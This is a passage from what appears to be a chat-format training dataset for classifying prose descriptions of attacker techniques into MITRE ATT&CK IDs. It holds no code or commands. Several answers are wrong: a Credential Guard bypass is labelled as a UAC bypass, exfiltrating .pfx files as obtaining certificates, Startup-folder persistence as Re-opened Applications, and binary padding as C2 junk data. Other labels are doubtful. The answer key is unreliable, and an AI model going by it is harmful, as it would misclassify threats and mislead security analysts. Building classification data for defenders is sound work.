                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through the abuse of the native Control Panel utility, the threat actor was able to execute a PowerShell command that established a remote desktop session."
            },
            {
                "role": "assistant",
                "content": "T1218.002 - System Binary Proxy Execution: Control Panel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The campaign uses TFTP to deliver a second‑stage payload to compromised devices."
            },
            {
                "role": "assistant",
                "content": "T1071.002 - Application Layer Protocol: File Transfer Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors use a setuid shell to gain root access after compromising a low‑privilege account on a server."
            },
            {
                "role": "assistant",
                "content": "T1548.001 - Abuse Elevation Control Mechanism: Setuid and Setgid"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary captures a valid RDP session token from memory and reuses it to connect to the target machine, effectively hijacking the existing remote desktop session."
            },
            {
                "role": "assistant",
                "content": "T1563.002 - Remote Service Session Hijacking: RDP Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious macro opens a local configuration file and reads embedded service account passwords for later use."
            },
            {
                "role": "assistant",
                "content": "T1552.001 - Credentials In Files"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary leverages the OS's kernel module autoload feature to embed a persistent payload that activates each time the machine starts."
            },
            {
                "role": "assistant",
                "content": "T1547.006 - Boot or Logon Autostart Execution: Kernel Modules and Extensions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A fake driver installation package is presented to the user, displaying an elevation prompt; the user’s consent allows the attacker to load a kernel-mode driver with high privileges."
            },
            {
                "role": "assistant",
                "content": "T1548.004 - Abuse Elevation Control Mechanism: Elevated Execution with Prompt"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker modified the AWS security group associated with the web server, removing all egress restrictions to allow outbound data exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1562.007 - Impair Defenses: Disable or Modify Cloud Firewall"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cybercriminals recruit compromised smartphones into a botnet, using them to send SMS spam and harvest contacts."
            },
            {
                "role": "assistant",
                "content": "T1584.005 - Compromise Infrastructure: Botnet"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder uses a Python interpreter to bypass application whitelisting by executing encoded commands."
            },
            {
                "role": "assistant",
                "content": "T1059.006 - Command and Scripting Interpreter: Python"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder runs a Linux tool that contacts the Windows server's RPC endpoint to fetch password complexity and aging information."
            },
            {
                "role": "assistant",
                "content": "T1201 - Password Policy Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware employs code obfuscation techniques to hide its true functionality."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker embeds malicious payloads within seemingly harmless documents to evade detection."
            },
            {
                "role": "assistant",
                "content": "T1027.009 - Obfuscated Files or Information: Embedded Payloads"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion employed the native Windows Remote Management protocol to establish a remote shell on victim machines."
            },
            {
                "role": "assistant",
                "content": "T1021.006 - Remote Services: Windows Remote Management"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious campaign includes a VBScript that silently runs in the background, leveraging Windows Script Host to execute PowerShell commands for lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware changes the ACL of the Windows Services registry key to allow non‑system users to modify service configurations."
            },
            {
                "role": "assistant",
                "content": "T1222 - File and Directory Permissions Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker creates a persistent remote channel using VMware Horizon Cloud to interact with compromised workstations."
            },
            {
                "role": "assistant",
                "content": "T1021.007 - Remote Services: Cloud Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The technique involves exploiting the inter‑process communication mechanism XPC to exfiltrate data from a protected process."
            },
            {
                "role": "assistant",
                "content": "T1559.003 - Inter-Process Communication: XPC Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Actor leverages a vulnerable WordPress plugin to inject defacement content."
            },
            {
                "role": "assistant",
                "content": "T1491.002 - Defacement: External Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers corrupt the com.apple.network.identification.plist to spoof network identity information, facilitating man‑in‑the‑middle attacks."
            },
            {
                "role": "assistant",
                "content": "T1647 - Plist File Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries stole source code for a banking trojan from a compromised developer's repository and repurposed it."
            },
            {
                "role": "assistant",
                "content": "T1588.001 - Obtain Capabilities: Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a custom PowerShell module, the attacker enumerated all inbound and outbound connections to profile the victim's network activity."
            },
            {
                "role": "assistant",
                "content": "T1049 - System Network Connections Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploits Outlook rule creation via MAPI to set a rule that executes a hidden executable whenever a specific sender contacts the victim."
            },
            {
                "role": "assistant",
                "content": "T1137.005 - Office Application Startup: Outlook Rules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware reads a command from a malicious TLS‑encrypted channel and hands it to the system's Bash shell for execution."
            },
            {
                "role": "assistant",
                "content": "T1202 - Indirect Command Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The post‑exploitation module uses stolen Kerberos tickets to authenticate to Exchange and harvest email messages from the victim's mailbox."
            },
            {
                "role": "assistant",
                "content": "T1114.002 - Email Collection: Remote Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware adds an Outlook rule that copies a malicious .lnk file to the user's Startup folder when a specific email is received."
            },
            {
                "role": "assistant",
                "content": "T1137.005 - Office Application Startup: Outlook Rules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor employs a Windows API call to set the Zone.Identifier value to '0', disguising the file as trusted and avoiding execution blocks."
            },
            {
                "role": "assistant",
                "content": "T1553.005 - Subvert Trust Controls: Mark-of-the-Web Bypass"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Persistence is established by embedding a malicious URL in the Outlook Home Page configuration, which triggers the download of additional payloads on startup."
            },
            {
                "role": "assistant",
                "content": "T1137.004 - Office Application Startup: Outlook Home Page"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By adding a custom DLL to the appcertdlls registry key, the adversary ensures the DLL runs each time the associated process starts."
            },
            {
                "role": "assistant",
                "content": "T1546.009 - Event Triggered Execution: AppCert DLLs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious code searches the filesystem for *.pfx files, extracts the contained digital certificates, and uploads them to the attacker’s command server."
            },
            {
                "role": "assistant",
                "content": "T1588.004 - Obtain Capabilities: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker leverages UIAutomation to harvest credentials typed into a password field of a web browser."
            },
            {
                "role": "assistant",
                "content": "T1056.002 - Input Capture: GUI Input Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder establishes a UNIX domain socket to exchange data between two compromised binaries on the host."
            },
            {
                "role": "assistant",
                "content": "T1559 - Inter-Process Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor replaces system DLLs with compromised versions so that victim applications load the malicious code when they resolve dependencies."
            },
            {
                "role": "assistant",
                "content": "T1574.006 - Hijack Execution Flow: Dynamic Linker Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor creates a new value in HKLM\\Software\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Run to auto-run malware."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The campaign uses reflective PE loading to execute a payload hidden within a benign-looking document."
            },
            {
                "role": "assistant",
                "content": "T1620 - Reflective Code Loading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a compromised IoT device that is connected to both the corporate Wi‑Fi and a cellular network, the adversary bridges the two networks to move laterally."
            },
            {
                "role": "assistant",
                "content": "T1599 - Network Boundary Bridging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware extracts the NTDS.dit and SYSTEM hive via SeBackupPrivilege to recover domain password hashes."
            },
            {
                "role": "assistant",
                "content": "T1003.003 - OS Credential Dumping: NTDS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder uses an encrypted QUIC connection to communicate with its C2 infrastructure."
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware reads the OAuth access token from the browser's local storage to gain unauthorized API access."
            },
            {
                "role": "assistant",
                "content": "T1528 - Steal Application Access Token"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An exploit abuses the Windows Credential Guard bypass to obtain domain admin credentials."
            },
            {
                "role": "assistant",
                "content": "T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The exploit chain ends with a reflective loader that copies the shellcode into a newly allocated executable memory region and jumps to it."
            },
            {
                "role": "assistant",
                "content": "T1620 - Reflective Code Loading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The red team simulated an attack by hiring a botnet provider to compromise IoT devices and launch stealthy network reconnaissance."
            },
            {
                "role": "assistant",
                "content": "T1583.005 - Acquire Infrastructure: Botnet"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script is placed in the resource fork of a .rtf document, which is then executed via a crafted Quick Look preview."
            },
            {
                "role": "assistant",
                "content": "T1564.009 - Hide Artifacts: Resource Forking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary sends a tailored phishing email via a legitimate cloud storage sharing service, convincing the recipient to download a trojan."
            },
            {
                "role": "assistant",
                "content": "T1566.003 - Phishing: Spearphishing via Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary exploits SID-History manipulation to obtain token rights of a domain administrator."
            },
            {
                "role": "assistant",
                "content": "T1134.005 - Access Token Manipulation: SID-History Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The Trojan injects a DLL into the lsass.exe process to harvest credentials and maintain persistence."
            },
            {
                "role": "assistant",
                "content": "T1055.001 - Process Injection: Dynamic-link Library Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker initiates a sequence of connection attempts to a series of closed ports in a specific order to trigger the firewall to open a listening port for further communication."
            },
            {
                "role": "assistant",
                "content": "T1205.001 - Traffic Signaling: Port Knocking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A credential dumping tool retrieves Cloudflare API tokens from a victim's machine, allowing the attacker to modify DNS records."
            },
            {
                "role": "assistant",
                "content": "T1078.004 - Valid Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker leverages a trusted developer utility as a proxy to run malicious payloads on the victim system."
            },
            {
                "role": "assistant",
                "content": "T1127 - Trusted Developer Utilities Proxy Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers employ a custom symmetric cryptographic protocol to protect command and control traffic from inspection."
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Encrypted Channel: Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cybercriminals abuse a compromised Certificate Authority's issuance system to generate a new code signing certificate for their malware."
            },
            {
                "role": "assistant",
                "content": "T1588.003 - Obtain Capabilities: Code Signing Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Insider adds a rogue PCIe expansion card to a server that implements a rootkit at the hardware level."
            },
            {
                "role": "assistant",
                "content": "T1200 - Hardware Additions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries hijacked a legitimate code signing certificate by performing a supply‑chain attack on a software vendor."
            },
            {
                "role": "assistant",
                "content": "T1587.002 - Develop Capabilities: Code Signing Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The payload runs the 'compact' command to compress collected credentials into a smaller archive before exfiltrating."
            },
            {
                "role": "assistant",
                "content": "T1560.001 - Archive Collected Data: Archive via Utility"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious code reads the LSASS process’s memory region to obtain clear‑text passwords."
            },
            {
                "role": "assistant",
                "content": "T1003.001 - OS Credential Dumping: LSASS Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware obtains Wi‑Fi network passphrases by pulling them from the macOS Keychain store."
            },
            {
                "role": "assistant",
                "content": "T1555.001 - Credentials from Password Stores: Keychain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion tool appends large blocks of random data to payload binaries, making their hashes differ from known samples."
            },
            {
                "role": "assistant",
                "content": "T1001.001 - Data Obfuscation: Junk Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An espionage tool injects into the process handling NTLM authentication and logs the credential structures before they are transmitted."
            },
            {
                "role": "assistant",
                "content": "T1056.004 - Input Capture: Credential API Hooking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor uses compromised credentials to issue a DeleteInstance API call on Azure VMs."
            },
            {
                "role": "assistant",
                "content": "T1578.003 - Modify Cloud Compute Infrastructure: Delete Cloud Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By enrolling a counterfeit hardware token as an authorized device, the threat actor gains continuous login capability to the target account."
            },
            {
                "role": "assistant",
                "content": "T1098.005 - Account Manipulation: Device Registration"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors tamper with the Pre-EFI initialization code to embed a rootkit that activates during system startup."
            },
            {
                "role": "assistant",
                "content": "T1542.003 - Pre-OS Boot: Bootkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious PowerShell commands set the WINHTTP_PROXY environment variable to point to a remote proxy, causing all subsequent requests to be sent through it."
            },
            {
                "role": "assistant",
                "content": "T1090 - Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AAPT group obtained a custom backdoor malware sample by compromising a software supply‑chain vendor."
            },
            {
                "role": "assistant",
                "content": "T1588.001 - Obtain Capabilities: Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojan writes its executable path to the Windows Startup folder, causing it to reopen automatically after each login."
            },
            {
                "role": "assistant",
                "content": "T1547.007 - Boot or Logon Autostart Execution: Re-opened Applications"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker performs token impersonation by duplicating a high‑privilege token and launching a command prompt."
            },
            {
                "role": "assistant",
                "content": "T1134 - Access Token Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries copy harvested files to a cloud storage bucket before exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1074.002 - Data Staged: Remote Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By exploiting a vulnerability in a popular game client, the group built a botnet to deliver adware."
            },
            {
                "role": "assistant",
                "content": "T1584.005 - Compromise Infrastructure: Botnet"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The post-exploitation tool issued a command to disable the OS and write zeros across the entire storage device."
            },
            {
                "role": "assistant",
                "content": "T1561.001 - Disk Wipe: Disk Content Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker accessed the victim's Outlook PST file on the local disk and copied it to a staging server."
            },
            {
                "role": "assistant",
                "content": "T1114.001 - Email Collection: Local Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker compressed and stripped a malicious executable, removing all non-code sections before delivery."
            },
            {
                "role": "assistant",
                "content": "T1027.008 - Obfuscated Files or Information: Stripped Payloads"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker sends a targeted email to the CFO with a malicious link that, when clicked, delivers a PowerShell backdoor."
            },
            {
                "role": "assistant",
                "content": "T1566.002 - Phishing: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary conducts a physical reconnaissance by driving to the target's known street addresses to observe security measures."
            },
            {
                "role": "assistant",
                "content": "T1591.001 - Gather Victim Org Information: Determine Physical Locations"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder accessed the Kubernetes API server with stolen tokens and listed all pods, services, and namespaces for reconnaissance."
            },
            {
                "role": "assistant",
                "content": "T1580 - Cloud Infrastructure Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT group encodes command strings with Base64 and embeds them in PowerShell -EncodedCommand arguments to avoid logging."
            },
            {
                "role": "assistant",
                "content": "T1132 - Data Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker abuses the Trusted Developer Utilities Proxy feature by invoking msbuild to load a malicious assembly during build."
            },
            {
                "role": "assistant",
                "content": "T1127.001 - Trusted Developer Utilities Proxy Execution: MSBuild"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromise includes extracting LSA Secrets from the Windows registry to obtain domain admin credentials."
            },
            {
                "role": "assistant",
